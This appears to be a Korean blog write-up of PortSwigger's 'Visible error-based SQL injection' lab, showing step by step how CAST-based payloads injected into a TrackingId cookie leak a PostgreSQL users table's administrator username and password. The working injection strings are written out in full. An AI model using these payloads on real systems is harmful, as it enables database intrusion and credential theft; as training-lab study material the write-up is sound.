-
[A03:2021 - Injection] SQL Injection을 이용한 사용자 계정 정보 탈취 - Error Based SQL InjectionDevelopment/CTF 문제 풀이 2025. 6. 18. 14:20728x90반응형
Error-Based SQL Injection은 SQL 쿼리 실행 중 발생하는 오류 메시지를 기반으로 데이터베이스 구조 및 민감 정보를 탈취하는 공격 기법으로 사용자의 입력값을 검증 없이 쿼리에 포함시킬 경우 발생하는 보안 취약점으로 의도하지 않은 SQL 구문이 실행되어 민감 정보가 유출될 수 있습니다.
☑️ 사전 참고
SQL Injection에 대한 기본 개념과 다양한 유형이 궁금하다면 아래 글을 먼저 참고하세요.
[웹 취약점 실습] SQL Injection을 이용한 사용자 계정 정보 탈취 - Blind SQL Injection, General SQL Injection
SQL Injection은 사용자의 입력값을 검증하지 않고 SQL 쿼리에 그대로 포함시켜 실행되는 보안 취약점으로 의도하지 않은 쿼리를 주입(Injection)하여 데이터를 탈취하거나 조작하는 공격입니다.최근
jangto.tistory.com
실습 개요
본 실습은 PortSwigger에서 제공하는 SQL Injection 실습 문제를 바탕으로 진행되었습니다.
- 문제 : Lab: Visible error-based SQL injection
- 목표 : Cookie의 TrackingId 값을 조작하여 관리자 계정의 비밀번호 탈취 및 로그인
- 조건 : 계정 정보는 users 테이블에 존재하며 username, password 컬럼이 존재
1 단계. Database 정보 확인
이번 실습에서는 별다른 데이터베이스 정보가 제공되지 않습니다.
☑️ True/False 조건 주입 시도
cookieValue' and 1=1 -- (True) cookieValue' and 1=2 -- (False)- 응답 변화가 없어 쿼리가 제대로 반영되지 않음을 확인하였습니다.
- 여전히 데이터베이스 종류 파악이 필요합니다.
☑️ 오류 메시지 유도
// 기존 cookieValue를 제거한 후 ' 만 추가 '결과 메시지 :
Unterminated string literal started at position 36 in SQL SELECT * FROM tracking WHERE id = '''. Expected char- 해당 오류 메시지를 구글에 검색해본 결과 PostgreSQL 데이터베이스 사용 중임을 파악하였습니다.
2 단계. 취약점 확인 및 제한 사항 분석
☑️ CAST 함수 활용 시도
과거 실습 경험에 알게된 CAST() 함수를 사용하여 오류 기반 정보를 탈취하려 시도하였습니다.
' AND 0=CAST((SELECT password FROM users WHERE username = 'administrator') AS int) --결과 메시지 :
ERROR: syntax error at end of input Position: 97- 문법에 아무런 문제가 없지만 문법 오류가 발생하였습니다.
- 다양한 시도 결과 길이 제한으로 인해 쿼리가 잘려서 나는 문제임을 확인하였습니다.
3 단계. 우회 전략 수립 및 정보 탈취
여러 테스트를 통해 몇 글자까지 가능한지 테스트하여 최대 길이를 파악했습니다.
☑️ username 확인
' AND 0=CAST((SELECT username FROM users LIMIT 1) AS int) --- 첫 번째 username이 administrator임을 확인하였습니다.
☑️ password 탈취
' AND 0=CAST((SELECT password FROM users LIMIT 1) AS int) --- 관리자 계정의 비밀번호를 성공적으로 탈취하였습니다.
실습 후기 및 포인트
- 데이터베이스 종류 확인은 SQLi 성공에 필수적이며 오류 메시지를 활용할 수 있습니다.
- 실전에서는 쿼리 길이 제한 등 환경 제약을 고려한 다양한 전략 수립이 중요합니다.
- CAST()를 통한 예외 유발 방식은 error-based SQLi에서 유용하게 사용됩니다.
- LIMIT, OFFSET 등 쿼리 제어 구문은 데이터 추출에 효과적이지만 길이 제한 시 주의가 필요합니다.
728x90반응형'Development > CTF 문제 풀이' 카테고리의 다른 글
[Open Redirect] HTTP - Open redirect (0) 2025.07.03 [X-Forwarded-For] HTTP - IP Restriction Bypass (0) 2025.07.03 [A03:2021 - Injection] SQL Injection을 이용한 사용자 계정 정보 탈취 - Blind SQL Injection, General SQL Injection (0) 2025.06.17 [A03:2021 - Injection] Command Injection (Low~High) - PHP (0) 2025.06.15 [Heap Dump Exposure] picoCTF WebShell head-dump (0) 2025.05.23